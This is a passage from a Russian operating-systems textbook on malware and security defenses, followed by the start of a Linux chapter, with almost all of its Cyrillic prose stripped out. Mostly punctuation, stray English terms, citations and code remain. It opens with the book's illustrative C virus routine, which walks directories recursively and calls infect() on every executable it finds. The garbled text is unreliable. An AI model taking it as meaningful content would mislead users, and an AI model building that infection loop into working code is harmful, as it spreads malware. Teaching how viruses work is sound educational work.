if (dirp == NULL) return;
while (TRUE) {
dp = readdir(dirp);
if (dp == NULL) {
/* */
/* , */
/* */
/* */
/* NULL */
9.9.
chdir ("..");
break;
}
735
/* */
/* */
}
if (dp->d_name[0] == .) continue;
lstat(dp->d_name, &sbuf);
/* . .. */
/*
? */
if (S_ISLNK(sbuf.st_mode)) continue; /* */
if (chdir(dp->d_name) == 0) { /* chdir , ,
*/
search(".");
/* , */
} else {
/* ( ), */
if (access(dp->d_name,X_OK) == 0) /* , */
/* */
infect(dp->d_name);
}
closedir(dirp);
/* ,
*/
}
,
argv[0] .
, ,
search root .
search , ,
readdir ,
NULL, , . ,
search. ,
infect
. , .,
. ... ,
, , chdir,
, ..,
, . .
infect ( ) , , ,
.
. -, infect , - . ,
128 , . : , ,
, ,
, .
(, 25 %),
,
.
736
9.
-, infect ,
. -,
,
. ,
, , , ,
. , .
( , , 2 ),
.
MS-DOS,
44 (Ludwig, 1998).
,
. , , 9.2,
,
. , ,
.
,
. ,
, , .
, .
(parasitic viruses).
. , , , ,
, (. 9.24, ). , ,
,
0 .
, ,
.
, ,
, (. 9.24, ).
( ,
), ,
, ,
. ,
.
, .exe
Windows UNIX,
. . (, Windows)
9.9.
737
. 9.24. ; ; ;
,
() 512 . ,
.
. (. 9.24, ),
, , ,
. , ,
, , (cavity viruses). ,
, .
, ,
, .
(memory-resident virus)
, , ,
, , ,
, , .
, ,
, , .
, . .
. , ,
.
? , ,
. , exec, , , , ,
(, , ) ,
. , , 9.2, .
.
738
9.
,
5 ,
BIOS
. , , . ,
. ,
,
. ,
(boot sector viruses), .
, (
)
, . Microsoft fdisk
,
Windows-. ,
, .
- ,
. - .
, ,
.
, , .
,
. . ,
,
.
, .
,
. , Windows
. ,
. .
. (. 9.25, ).
, ,
, .
. 9.25, . ,
,
, , (
,
, ).
9.9.
739
. 9.25, . ,
, ,
. , . -
.
. 9.25. :
; , ;
,
( ) , , -
. ,
. ,
. , , (device driver virus). Windows
UNIX- ,
. ,
. ,
, , ,
, .
, ( MINIX 3),
, ,
, .
, Word Excel,
,
740
9.
.
. Microsoft Office
Visual Basic.
, ,
, . , Office
.
. Word , OPEN FILE ( ).
(macro virus).
, , , ( , ). OPEN
FILE. , :
, Word, .
, Microsoft Word , ,
, ,
, . ,
. ,
, .
, , . ,
- ,
, . ,
, , .
,
; , , (Word Windows Macintosh,
UNIX).
(source code viruses). 9.2, ,
, C,
( access).
infect
#include <virus.h>
C.
run virus( );
, ,
C, , . , . . -
9.9.
741
, (,
main return, ),
, virus.h
( proj.h , - ).
, ,
C .
, ,
, , ,
, virus.h.
, .
, 32-
, , . , ,
, ,
, .
.
- , . , . ,
.
.
. .
, - ( )
, , , -
- . -
.
. , ,
,
. .
, .
.
(, ) , . .
,
, . , , ,
.
, .
, ,
, ,
. ,
.
742
9.
, ,
. .
.
,
, .
USENET (, Google) -,
. -,
, .
USENET, , .
, , -
, , . ,
,
, (Subject) -
, :
: ;
: Re: ;
: ;
: ;
: .
, ,
, . ,
. I LOVE YOU, 2000 ,
.
. ,
, , . , , , ,
.
, , .
, ,
, . ,
,
.
. ,
,
, , .
, -
. - USB -
9.9.
743
, USB,
book.doc,
. , virus.
exe , , , , .
- USB
- FTP-.
Ethernet, - , , .
,
.
. , , . . Rieback et al. (2006).
,
.
9.9.3.
, , 2 1988 , .
,
, ,
. ,
. . Spafford (1989).
Hafner and Markoff (1991).
, 1988
Berkeley UNIX, . , . ,
(worm),
, .
,
.
, 2 1988 ,
Sun VAX, , .
, , ,
- .
:
. 99 C, l1.c. .
744
9.
, , ,
. ,
, ,
.
. 1
rsh. rsh,
. , .
2 , UNIX- finger. , ,
finger name@site
.
, ,
, ,
. , , .
finger . UNIX- finger daemon,
, . finger
536- .
,
. 9.19, . , . - ,
, ,
536- . sh.
, ,
.
3 sendmail, .
, . .
, , ,
, - (Morris and Thompson, 1979) Bell Labs.
,
.
, . , ,
, , ,
, ,
. 1/7
9.9.
745
, : .
, ( 1/50), ,
, .
,
- , ,
,
. , rtm. rtm ,
finger. ,
.
.
10 000 , 3 () 400 . , , 150 000 . .
, , -
. , -
. , .
.
CERT (Computer Emergency Response Team),
,
.
, . CERT , ,
. . ,
(, )
(
) , .
.
, ,
. , .
9.9.4. -
,
- (spyware). , ,
,
, . ,
. , Windows Update Windows-, .
. .
746
9.
(Potter Stewart), , , :
-, , 1.
(-,
). (Barwinski et al., 2006) , -
. -, ,
- . -, (
-, ). -,
. -, . , -
, .
(Barwinski et al., 2006) -
. :
,
. ,
,
, - .
, -,
.
, - -, 5000 -. ,
- -, , ,
.
(Moshchuk et al., 2006). 18 URL-, 6 %
-. , , AOL/NCSA, , 80 % -, 93
. , , ,
,
,
.
-
: ? , :
.
, .
,
1
1958 1981 . , , ,
, , , :
, .
9.9.
747
(, Kazaa), . , -
, -,
-.
(drive-by download).
- ( )
-.
. : -
(.exe) . , ,
, . ,
. , -
, .
. Internet Explorer,
Firefox . - , ,
.
. ,
Alexa. , ,
.
. , Microsoft,
activeX.
x86, Internet Explorer
, , - . , . , ,
-.
IE (Internet Explorer), Firefox, Chrome, Safari .
activeX
IE. , - .
,
- (, ,
) IE ,
.
, . - IE
activeX , ,
-. :
, ?
, (Yes)
.
, .
- ( ), -
748
9.
- (CA),
. , ,
CA , . -,
-. ,
, activeX,
- , , activeX, -.
,
(Yes).
(No), - ,
IE, -. ,
activeX, IE . , (
IE),
, .
- 2030 , ,
, ,
. , -,
(
). :
,
, , .
, -
, -. .
1. .
2. ( ).
3. .
4. , .
5. .
6. Windows.
7. - , -.
8. Windows.
9. ,
.
9.9.
749
, , ,
.
(browser hijacking).
. , ( , -) ( -,
-).
. ( GIF- 468 60)
- , - , -.
: , ,
ad infinitum ( ), . , -
, - .
- , , . ,
, ,
. - - .
- (adware), ( ) : ,
, , .
, .
9.9.5.
(rootkit) ,
, . ,
, . , ,
-, , .
. : ?.
1. . BIOS ,
. , BIOS.
, ,
.
750
9.
2. -. ,
. ,
( ),
(Joanna Rutkowska) 2006 . , , ,
,
. , , , ,
, ,
, .
3. . ,
.
, ,
.
4. . , ,
, libc Linux.
, .
5. . , ,
, ,
( , . .). , ,
.
, , . 9.26.
. 9.26. ,
, -. , -
PCI 100
. , , :
- , -
9.9.
751
.
. ,
,
.
, , , ,
, .
,
1 , 1 . ,
, ,
.
,
-, .
(,
),
.
-
, . , , .
, ,
$$$, , , .
, DVD
- USB. ,
, , .
,
, . , - USB,
- DVD .
, ,
-
USB -.
, . , , : !.
, , , .
, , , . ,
752
9.
,
. , ,
, , ,
, , , .
.
, ,
,
, .
. (Garfinkel et al., 2007) , . (Carpenter et al., 2007) .
,
. , TLB,
.
TLB,
.
, . , , : .
, .
.
, ,
. , .
Sony
2005 Sony BMG -, . (Mark
Russinovich) ( -,
Windows, www.sysinternals.com), ,
. ,
.
(Arnab and Hutchison, 2006; Bishop and Frincke, 2006; Felten
and Halderman, 2006; Halderman and Felten, 2006; Levine et al., 2006). ,
, .
.
- Windows, autorun.inf,
, , - (, ). -
, -
. , Sony , , autorun.inf
-, , ,
9.9.
753
12 .
, . Sony
- 200 ,
, . ,
, , .
, .
. Windows
, $sys$. ,
-
, Sony, -.
- .
, ,
, $sys$ ( ,
Sony ), . .
, ,
, 20 -.
(Dan Kaminsky, 2006) , 500 000
.
, Sony , . National Public Radio (Thomas Hesse), Sony BMG, : , ,
, , ?
, Sony ,
$sys$-, .
Sony - ,
,
, Sony
( ).
, , Sony ,
. ,
(
).
Sony .
-, (
). 39 . 2006 ,
Sony 4,25 ,
-
754
9.
.
2007 Sony ,
.
Sony , , 150 .
Sony ,
, ,
. , Sony
rootkit.
9.10.
- ? - ,
,
.
(defense in depth).
,
, .
, ,
,
.
, , .
. .
, ,
,
.
9.10.1.
, ,
, , , . , : .
,
, , - . ,
, , .
, , .
(firewall),
:
. ,
9.10.
755
, ,
-. :
, ,
, ,
.
: .
, , , , . .
. 9.27.
( ) ,
.
.
, ,
,
.
. 9.27. ,
, ,
. ,
- (
--). ,
(stateless firewall),
, ,
, .
IP- ,
, . , .
, . 9.27, ,
IP-, 207.68.160.x, x 190, 191 192 . , , . 16- ,
, ( ).
. , 80 -,
25 , 21 FTP ( ),
, .
:
756
9.
IP-
207.68.160.190
207.68.160.191
207.68.160.192
*
80
25
21
*
207.68.160.190,
, 80,
.
, 25 21
. .
, .
, . , - apache , , URL- IP- 207.68.160.190
80 , ,
,
.
, .
- ,
, , 9876,
,
, . , ,
, ,
,
.
, ,
. ,
. , .
, , , (stateful firewalls), , .
, ,
.
(Intrusion Detection System (IDS)),
, .
,
(personal firewalls), , , . , , .
9.10.2.
,
, .
9.10.
757
, (antivirus programs),
-. , , -.
, ,
,
, .
, , ,
, , .
,
, , ,
. ,
. ,
.
,
(goat file), .
. , .
, ,
.
,
,
. -,
.
10 000 10 000 , ,
, .
, , ,
- .
, ( ), ,
, , .
, , : !
xyz.exe lahore-9x. ?.
, . , .
,
. .
, , , ,
() , .
, ,
, - , -
758
9.
. ,
, .
, , .
, .
. -.
.
, . . 9.28,
. ,
. , , (. 9.28, ). ,
,
, .
. 32-
, , (XOR) , , 72 008
319 992. XOR ,
,
(. 9.28, ). .
, ,
. , ,
, ,
.
,
, , , -
. 9.28. : ; ; ;
;
9.10.
759
,
. , :
(. 9.28, ).
.
, ,
. , .
, . ,
X = (A + B + C 4).
. 9.29, . , ,
MOV A, R1 A R1. . 9.29,
, , NOP
(no operation) .
. . : , ,
,
, . . 9.29,
, . 9.29, .
, . 9.29, , ,
. 9.29, , . ,
, (polymorphic virus).
, R5 . , . 9.29, , ,
. 9.29, . ,
. , , ,
. 9.29, , , . 9.29, .
,
, (mutation
engine), . ,
, ,
.
.
. 9.29.
760
9.
, , . 9.29, , ,
. 9.29, ,
,
.
, , , , , , ,
.
, Y ,
, , R5, , .
Y,
. ,
, . , ,
, ,
.
.
, , , -,
CMOS- . ., , ?
. , ,
. ,
( ). , .
,
. ,
, .
, ,
. SATA, USB, SCSI
,
,
. ,
,
, ,
.
(integrity checking). , ,
. ,
, .
32- 64- ,
,
9.10.
761
.
checksum .
, , checksum. .
, .
, checksum. , ,
checksum.
checksum, , , ,
, , . ,
.
- , .
,
, ,
(behavioral checking).
. ,
, . ,
, .
-.
. , , .
,
, ,
. Word,
.docx
, . Windows
, . - ,
, , .
, ,
, . . ,
. Core Wars,
,
. ,
, .
- ,
- ,
. , ,
, .
, , .
762
9.
. :
.
, , , .
, ,
, .
, ? -, , ,
.
-
. , .
-, ,
. , ,
- , .
- ,
, , .
-,
. - .
-, URL- , . , ASCII-, ,
.
-,
, USB- DVD. . ,
, ,
.
, .
, -,
. ,
, -. ,
.
. -, . , .
.
-, . JavaScript.
. -
-
9.10.
763
. , JPEG- ,
. .
-,
,
.
, , .
,
.
-, - BIOS ,
, , BIOS. , ,
- . , ,
. , .
9.10.3.
(
) .
: ,
? , -
activeX -.
activeX , , , .
?
, ,
, .
, , , activeX ,
, - .
, , ,
Snarky Software , ,
, , .
. ,
, . ,
- , 160- 256-
, - , SHA-1 SHA-256.
-, (
, . 9.13).
.
764
9.
, , . , ,
-, ,
. , .
.
, -
-, .
,
, .
. 9.30.
. 9.30.
- , activeX,
. ,
. , ,
, - ,
.
, . ,
, , .
9.10.4.
: , . ,
. - ,
,
, .
(jailing) . 9.31.
9.10.
765
. 9.31.
,
. () ,
. -
,
( ),
. ,
. , , - , , ,
. ,
, .
.
. ,
UNIX- , (Vant
Noordende et al., 2007). UNIX, , .
.
9.10.5.
(Intrusion Detection System (IDS)). IDS, , , .
IDS ,
IDS. , ,
IDS. ,
, . (static model-based intrusion
detection) (Hua et al., 2009). , , .
. 9.32, , data
,
766
9.
.
. . 9.33, , ( printf write).
. 9.32. ;
, - ,
.
, , , . , - ,
,
. , ,
, , ,
. .
,
IDS.
( ).
,
. , ,
.
,
(mimicry attack),
, , , , .
IDS .
9.10.
767
IDS, , .
IDS (honeypot), ,
. , .
,
. IDS
, . , ,
, .
9.10.6.
, .
.
. ( ) -
HTML- . - ,
(applets). -, ,
. ,
. ,
- .
,
.
(agents). , . ,
-
-.
, ,
-. ,
, .
PostScript, PostScript-. PostScript
PostScript, .
, , - . ,
PostScript
(mobile code).
,
, , . - ,
: ?
, , . ,
768
9.
,
,
, , ,
.
,
.
,
(UID),
, , . ()
.
, .
, .
, - , -. - , ,
. . ,
. ,
,
, , .
( ). :
.
.
.
, (sandboxing),
(Wahbe et al., 1993). ,
.
. 32-
256 16- ,
.
512 8- , 9- . ,
.
, , ,
. . 9.33, ,
: , , 16
16 .
9.10.
769
. 9.33. , 16 ;
.
,
. , , .
, ,
- .
, .
, . (
JMP CALL), .
JMP, , . : ? JMP,
. ,
, .
.
JMP.
, ,
, , JMP(R1) , 1.
.
,
. . 9.33, .
, k , , S2.
, ,
.
770
9.
. S1.
, , S1.
,
S2. , . .
, . ,
,
, .
. (Wahbe et al., 1993) 4 %, ,
-, .
, , . .
, (reference
monitor), ,
(, , ,
).
,
. , , , ,
. , ,
, . , , -
, .
.
. -. -
Java ,
safe-TCL JavaScript. Java- , JVM (Java Virtual Machine Java). JVM- -.
JVM- (. 9.34).
, .
. ,
.
. , (, ),
. (,
), , .
9.10.
771
. 9.34. -
. , ,
.
.
9.10.7. Java
Java
,
, Java. Java
. .
Java , . ,
, .
C:
naughty func( )
{
char *p;
p = rand();
*p=0;
}
p.
, p, , ,
. Java ,
, . , Java -,
, , (,
malloc free), .
Java- , JVM. JVM 100 ,
,
. JVM-, , , -
772
9.
. Java ,
, JVM-.
- JVM
.
, JVM- JVM.
:
1. ?
2. ?
3.
?
4. ?
5.
?
, ,
.
Java (), . , Java, . Java, JDK (Java
Development Kit Java-) 1.0,
: . , ,
.
, , .
, . 9.33, .
, Sun ,
. JDK 1.1
. , ,
, ( ).
, , ,
.
, . JDK 1.2
, ,
, , . , (Gong,
1999),
. : ,
, . , , URL, ,
, , . ,
. URL, ,
, , URL
9.11.
773
. . 9.3, -
Java.
9.3. , JDK 1.2
URL
www.taxprep.com
TaxPrep
/usr/susan/1040.xls
/usr/tmp/*
/usr/susan/Office/
, ,
*
www.microsoft.com
Microsoft
. ,
, . . 9.3
.
, ,
, www.taxprep.com, , 1040.xls.
, .
, ,
, /usr/tmp.
, Microsoft , ,
, ,
, Office , , .
,
, ,
, .
. . .
IP- DNS-; .
, . , ,
,
.
(),
,
. .
9.11.
.
: , , , , . . -
774
9.
, , , .
. , ,
ROP, Control Flow Integrity (CFI). ,
.
ASLR, DEP
CFI.
, Zhang Sekar (2013) -
CFI Linux.
Windows (Zhang,
2013b).
, , , (Slowinska et al., 2012).
. , , ,
.
. Google AddressSanitizer (Serebryany, 2013).
, ,
, .
.
, (,
. .) . ,
.
Bogdanov Lee (2013).
-
. , ,
seL4 (Klein et al., 2009). , ,
.
UNIX. Robert Watson et al. (2013)
FreeBSD.
,
. , Hund . (2013) (timing channel attack),
Windows. Snow ..
(2013) , ,
. , , Rossow . (2013),
. ,
, .
.
9.12.
775
9.12.
,
, , -, . ,
, ,
. ,
.
.
, (),
(, ). . - ,
, , ,
, ,
, .
. -
, , , .
.
. , ,
- , .
, .
, , ,
.
.
- , -
- .
,
.
,
. , ,
, , ,
,
libc, , , , TOCTOU-.
.
, ,
.
, ,
. -
776
9.
, ,
, .
, ,
, , - .
. ,
-, .
- -.
, .
, .
, , , ,
, ,
.
1. ,
. , , , ,
, ,
, , .
2.
TCB.
TCB
TCB:
) ;
) ;
) ;
) ;
) GPS- .
3. ?
?
4. , . , -
?
5. , 5000 100 . 1 % ( ,
r, w x ) , 10 %
, 89 % . ,
( r, w x)
.
,
ACL- ?
777
6. ,
:
a) ;
) ;
) , ,
;
) , ,
.
7. : . ,
:
) , , ;
) ;
) , .
8. ,
UNIX, .
: asw : users devel,
gmw users.
,
( ) (
):
rwrr
rwxrxrx
rwrw
rwr
2
1
1
1
gmw
asw
asw
asw
users
devel
users
devel
908
432
50094
13124
May
May
May
May
26
13
30
31
16:45
12:35
17:51
14:30
PPPNotes
prog1
project.t
splash.gif
9. , ,
ACL-.
10. ACL- , rwx UNIX. .
11. , , 1, 2 3. A B 1, C D 2, E F 3. 1 2
1, 3 4 2, 5 6 3.
,
, .
) 1 D;
) 4 A;
) 3 C;
) 3 C;
) 2 D;
) 5 F;
) 6 E;
778
9.
) 4 E;
) 3 F.
12. Amoeba
,
. ,
, - ?
13. , . 9.9, B 1.
? ,
?
14. , . 9.9, , ? ,
, B?
15. , . 9.12.
R, G B. , ,
,
.
16. .
.
kfd ktbdfzm eubdkfdpzyiom mztxku kzyg ur bzha kfthcm
ur mfudm zhx mftnm zhx mdzythc pzq ur ezsszcdm zhx gthcm
zhx pfa kfd mdz tm sutythc fuk zhx pfdkfdi ntcm fzld pthcm
sok pztk z stk kfd uamkdim eitdx sdruid pd fzld uoi efzk
rui mubd ur om zid uok ur sidzkfzhx zyy ur om zid rzk
hu foiia mztxkfd ezindhkdi kfda kfzhgdx ftb boef rui kfzk
17. , 26 26 , A, B, C, ..., Z.
. , . .
?
18. . n , A B. n
A. A[0] B[i], A[1] B[j], A[2] B[k]
. . n B,
, A n .
, . ,
,
.
?
.
19. ,
, ,
. ,
, ,
779
.
?
20. , .
21. , , A B, , , .
, , C,
.
?
22. - .
, - (, -).
?
23. ASCII 50 %. ,
, ASCII ( ) 1600 1200 ,
?
(,
)? ,
?
24. , , , ,
.
, ,
. ?
25. www.cs.vu.nl/~ast covered writing. , . :
) ?
) ?
) ?
26. ,
, -
. ,
,
?
27.
,
-
780
9.
UNIX. ,
15 , , : ,
, . ?
28. n- () ,
. ,
? ,
.
29. , .
,
n- (),
, ?
30. , ,
.
31. : -,
, -, , -, .
,
. , ,
( ) , , .
?
32.
, UNIX.
rexec machine4 who
machine4
. ,
UID
. ? ,
,
?
33. .
f(s), f(f(s)) . .?
34. - MMU
, . 9.21? , .
35. .
36. TOCTOU-
. . ,
?
781
37. C,
. ?
38. ,
, ?
39. ,
. , ?
,
.
40. :
) , ,
;
) ,
?
41. , . ,
?
42. , 9.2, C.
43. . 9.28, . , ,
?
?
44. . 9.28, , .
.
?
45.
.
46.
:
) ;
) ;
) fdisk ;
) -;
) .
, .
47. UNIX (
)? , ?
, ?
48.
,
782
9.
. .
49. , , ?
50. , ,
?
51. , , .
52. ,
. ,
, .
53. SHR, ,
. 9.33, , ,
.
? ,
?
54. , ,
, . ,
.
, . , , . ?
55. , Java , C,
.
56. , JDK 1.2.
( . 9.3), - www.appletsRus.com
. - www.
appletsRus.com, /
usr/tmp/, /usr/me/appletdir.
57. ?
?
58. C
UNIX.
: ,
, sleep , .
.
.
59. UNIX
DES. , , -
783
DES 25 . DES
,
. ,
. 16- .
60. , ACL. , ACL-, :
) ;
) ;
) ;
) ;
) (
, r, w, x);
) ;
) ;
) .
61. , 9.7.1,
, , . .
62. , , 9.9.2, ,
. , ,
- .
.
10.
:
Unix, Linux Android
, , .
, , .
Linux ( UNIX),
.
,
( Android
Linux) .
.
UNIX Linux.
Linux, , . ,
Windows,
. ,
, .
,
-, Linux.
, , ,
.
: Linux? Linux
UNIX, UNIX, AIX,
FreeBSD, HP-UX, SCO UNIX, System V, Solaris . ,
( ). , ,
, .
, .
Linux
( ), ,
, , ,
UNIX-. UNIX
, (Love, 2013; McKusick and Neville-Neil,
2004; Nemeth et al., 2013; Ostrowick, 2013; Sobell, 2014; Stevens and Rago, 2013; Vahalia,
2007).
785
10.1.1. UNICS
1940- 1950- ,
. , , ().
1960- ,
. , .
.
,
.
- , ,
. , BASIC,
, .
, CTSS, , .
Bell Labs General Electric
( General Electric )
MULTICS (MULTiplexed Information and Computing Service
),
1.
Bell Labs
MULTICS, ,
, (Ken Thompson), - . ( )
MULTICS, - PDP-7. PDP-7,
.
Bell Labs, (Brian Kernighan),
- UNICS (UNiplexed Information and Computing
Service ).
MULTICS (-
EUNUCHS, ),
, UNIX.
786
787
10.1.3. UNIX
UNIX C,
( ) , , .
C.
- , ,
. C,
, . , ( , ) - ,
.
, , -
Interdata 8/32. , UNIX
, , :
16 , 16 (
64 )
. - Interdata 8/32,
UNIX .
, , PDP-11.
Interdata 8/32,
(Steve Johnson) Bell Labs C.
,
. C (
PDP-11) , UNIX .
- Interdata 8/32 ,
PDP-11,
788
UNIX. , PDP-11
, Interdata 8/32 .
, , , . -, , : .
? UNIX .
Interdata UNIX VAX, .
1984 AT&T,
,
. AT&T UNIX System III. ,
, System V.
System IV, . System V 2, 3 4 System V,
, . , UNIX
, .
8, 9 10- UNIX,
, AT&T System V.
8, 9 10- System V. ,
AT&T , ,
, 1993 UNIX Novell, 1995 Santa Cruz Operation.
, ,
.
789
. ,
4BSD TCP/IP - UNIX, , UNIX.
UNIX ,
vi csh, Pascal Lisp
. , (Sun Microsystems, DEC .)
UNIX Berkeley UNIX, System V
AT&T. Berkeley UNIX , .
Berkeley UNIX McKusick et al. (1996).
10.1.5. UNIX
1980- - UNIX: 4.3BSD System V Release 3. ,
.
UNIX ,
,
UNIX,
UNIX , UNIX (
, , MS-DOS).
UNIX . , AT&T
SVID (System V Interface Definition UNIX System V), , . .
System V,
(BSD), .
UNIX
(IEEE Standard Boards), , , . , . POSIX. Portable
Operating System . IX
, .
, POSIX ,
1003.1. ,
UNIX.
, . open, read, fork.
POSIX , ,
1003.1 ,
, UNIX, .
, , ,
, 1003.1
790
, .
System V BSD (
), IEEE
. : -
System V, BSD, , .
1003.1 System V
BSD, Version 7. 1003.1 ,
,
, ,
.
1003.1 ,
, , ,
UNIX. , C
(ANSI)
ISO.
10.1.6. MINIX
UNIX- : ,
UNIX . (
),
. , , ,
,
. 11 800 C
800 . 1987 Version 7 UNIX,
PDP-11.
MINIX , . ,
. .
, . 1600 C 800 . ,
Intel 8088, -
( 2900 C) .
(5100 C) (2200 C)
.
,
( ). ,
,
, .
,
791
.
. UNIX
X Windows , , (
Windows,
). Mach (Accetta et al., 1986) Chorus (Rozier et al., 1988).
MINIX - comp.os.minix 40 000 .
, MINIX
,
, . 1997 2.0 MINIX.
, 62 200 .
2004 MINIX ,
,
.
1 MINIX 3.0
,
( ). ( 4000 , ).
.
, MINIX 3.0 650 UNIX,
X Window System ( ), ( gcc), ,
, - . (
), MINIX 3.0 ( ).
: (No more reset buttons).
Operating Systems: Design and Implementation,
(Tanenbaum and Woodhull, 2006).
. ARM .
, www.minix3.org.
10.1.7. Linux
MINIX
( ) ,
(
, ). .
FreeBSD . ,
(Linus Torvalds) UNIX,
792
Linux. ,
MINIX . 0.01 Linux 1991 .
MINIX MINIX ,
. MINIX, Linux
, .
9300 C 950 , MINIX , .
MINIX ,
.
Linux
UNIX ,
. Linux
Intel 386 (
386- C),
, UNIX. Linux UNIX:
gcc, ,
ANSI C-.
, gcc ,
,
LLVM,
. LLVM C,
Linux , , ANSI.
Linux 1.0,
1994 . 165 000 ,
BSD TCP/IP.
.
.
Linux UNIX,
UNIX, . ,
Linux ,
( ).
, 2.0, 1996 .
470 000 C 8000 .
64- , ,
.
.
.
Linux : A.B.C.D (, 2.6.9.11).
. .
2.6 , -
793
( ). 2.6 .
(, ).
.
2011 Linux 3.0, - -
, 20- . 2013 Linux 16 .
Linux
UNIX, X Windows
. , Linux
:
GNOME KDE. , Linux UNIX
, UNIX.
Linux -:
. -, www.kernel.org.
Linux , ,
(Free Software Foundation).
Linux , , GPL (GNU Public License
GNU), Microsoft
Windows ,
. , ,
.
(
Linux) . ()
, .
,
, Linux MINIX,
BSD GNU. Linux
Linux ( ,
, Linux , , , ). ,
Linux
CD-ROM-, . - www.linux.org
100 , Linux1.
Linux Linux ,
.
, Linux ,
AT&T. 1992
, , BSD UNIX
4.4BSD ( FreeBSD).
AT&T, 1
, Linux
www.distrowatch.org. . .
794
,
, , . UNIX AT&T
, , . BSDI, BSD
UNIX (
Red Hat Linux). AT&T ,
, , 1-800-ITSUNIX BSDI. , FreeBSD
, Linux .
, 1993
UNIX,
: BSD (
1977 )
Linux ,
.
, UNIX.
10.2. Linux
Linux,
, , , . UNIX ( ). Linux ,
, Linux
(shell) . .
10.2.1. Linux
UNIX ,
.
, ( ) .
, UNIX ,
. , , ,
,
, UNIX
. , Linux
,
.
10.2. Linux
795
?
, , , . ,
. , , . . (
) .
ls A*
, A,
rm A*
, A,
, A .
(principle of least surprise).
, , , , . ,
, , . Linux
,
. ,
.
, . copy, cp,
? .
, ard, f,
Linux
grep ard f
, grep ( ), grep
: , grep. . ,
. , grep . , - . , ,
, , .
, . , .
10.2.2. Linux
Linux (. 10.1). ,
, , , , . .
. , , .
, ( )
. C
796
. 10.1. Linux
, ,
. ,
C. , .
, read, C
read. , POSIX
, . ,
POSIX ,
, ,
.
.
Linux
, POSIX 1003.2,
Linux. (), , , .
. ,
Linux: , ,
.
Linux ,
, .
Linux .
Linux
, UNIX 70-
Macintosh
10.2. Linux
797
Windows . , , ,
, . , ,
. Linux
GNOME (GNU Network Object Model Environment) KDE (K Desktop Environment).
Linux X
Windowing System, 11 ( ).
UNIX . - ,
, , ,
.
(xlib), -.
11, , ,
, . - ,
,
.
Linux-
, . .
, xterm,
.
.
10.2.3.
Linux ,
-
, (shell).
. ,
,
- .
bash. UNIX,
(Bourne shell, ,
Bell Labs.), Bourne Again
SHell. (ksh, csh . .), bash
Linux-.
, ,
( ) , .
,
, . ,
, , ,
798
. .
. ,
. , ,
, .
,
. ,
cp src dest
cp , src dest.
.
dest.
.
head 20 file
20 head 20
file ( 10 ).
. , ,
, ,
head 20 file
. head 10
20, 10 file.
Linux- .
,
(magic charecters), (wild
cards). , ,
ls *.c
ls ,
.c. x.c, y.c z.c,
ls x.c y.c z.c
,
. , ,
. ,
ls [ape]*
, a, p e.
, , ( ), .
, (standard input), ,
(standard output), , (standard error).
,
, (
10.2. Linux
799
) . Linux-
. ,
sort
sort, ( Ctrl+D, ),
.
, . < > .
. ,
sort <in >out
sort in
out. , . ,
,
, .
, :
sort <in >temp; head 30 <temp; rm temp
sort, in temp. ,
head, 30 temp
, . ,
temp . .
,
, . temp.
Linux .
sort <in | head 30
, (pipe symbol),
, sort head, , . , ,
(pipeline) . :
grep ter * .t | sort | head 20 | tail 5 >foo
, ter , .t, .
20 head, tail, ( 16- 20- )
foo. , Linux
(), ,
, .
800
Linux .
, .
. ,
wc l <a >b &
wc,
( l) a b, . ,
. , :
sort <x | head &
.
,
.
, . ,
, (shell scripts).
.
if, for, while case. ,
,
. Berkley C, , ( )
C.
, . , .
10.2.4. Linux
() Linux
, . ,
:
1. .
2. .
3. , .
4. .
5. .
6. .
POSIX 1003.1-2008 150 , .
, ,
Linux.
,
-, ,
, . .
10.2. Linux
801
,
.
cp a b
a b, .
mv a b
, a b, . , .
cat,
. rm. chmod
. mkdir rmdir.
ls. ,
. ,
(, , , ), , ( ,
, ),
. .
: grep
( ) , ; sort
; head
; tail, , .
, 1003.2 , cut paste,
, od ( ) ASCII- ( ,
), tr (,
), pr ,
, . .
gcc C
ar, .
make,
, . , (header
files), , , .
include. ,
. ,
, , . make
, ,
, ,
. Linux, ,
make.
POSIX . 10.1 .
Linux , .
802
cat
chmod
cp
cut
grep
head
ls
make
mkdir
od
paste
pr
rm
rmdir
sort
tail
tr
10.2.5.
. 10.1 Linux.
(
).
- ,
. (. 10.2)
( )
.
.
, . ,
.
.
. - . 10.2 ,
,
- . (Virtual File System
(VFS)). (
) , . - - . Linux
10.2. Linux
803
. 10.2. Linux
, ,
,
.
, , (
).
. .
, vi emacs,
- . -
(tty). (, )
, ,
Enter .
( ).
,
.
, . Linux
(
, ). , IP TCP,
.
, ( ).
.
804
-, ,
( ).
. Linux
.
,
.
. 10.2 Linux. .
,
, ( ), ( ) .
. ,
, (, ) . , Linux
. .
,
. .
( ).
(, )
. , ( ,
),
-. .
Linux .
, , , .
. 10.2 .
.
,
.
10.3. Linux
Linux , ( , xterm).
.
.
10.3. Linux
805
, Linux, : , , -.
,
. , , , -.
, Linux,
.
, - . ,
( , ) , .
10.3.1.
Linux .
Linux , 2.
. , ,
. Linux
( , ).
Linux
. , ,
. ( - )
, (daemons).
.
cron. , ,
- . , ,
( ).
Linux , ,
. , ,
15.00 .
cron, , , 14.30.
, cron , , ( ).
cron , 4.00
31
. ,
, , , . . Linux ,
, .
Linux .
fork ,
(parent process). (child
process). () -
806
. - , ( ).
.
, -
fork, .
, , .
,
, .
, , ,
, : , , ?
, fork 0,
PID (Process IDentifier ) .
, 10.1.
10.1. Linux
pid = fork( );
if (pid < 0) {
handle_error();
PID-. , PID .
PID, getpid.
. , , PID
. ,
.
, , ,
.
Linux
. ,
, .
(pipes). .
, .
.
, sort head,
, sort
10.3. Linux
807
head. , sort,
head, . ,
sort , head
- .
. (signal).
, , . : , , ( ).
,
. , .
,
, , ( -).
(process group), (
), , ( ).
.
. , 0 ( ,
), SIGFPE (Floating-Point Exception SIGnal ). ,
POSIX, . 10.2. Linux
, Linux UNIX.
10.2. , POSIX
SIGABRT
SIGALRM
SIGFPE
(,
0)
SIGHUP
, ,
SIGILL
Del,
SIGQUIT
SIGKILL
, ( )
SIGPIPE
SIGSEGV
SIGTERM
SIGUSR1
SIGUSR2
10.3.2. Linux
Linux, . . 10.3.
808
fork. (
UNIX)
Linux ( ). , , .
fork (
) .
fork ,
( )
.
fork , , ,
(PID) , . , , .
10.3. , .
s 1; pid ;
residual .
pid=fork( )
exit(status)
s=sigreturn(&context)
s=sigpending(set)
s=sigsuspend(sigmask)
s=kill(pid, sig)
residual=alarm(seconds)
s=pause( )
fork
. . , fork
, ,
( ).
waitpid, ( , ).
.
. 1,
.
, ( ,
). .
10.3. Linux
809
,
( ).
. exec, , .
,
fork, waitpid exec, 10.2.
exec :
, .
. , execl, execv, execle
execve, . .
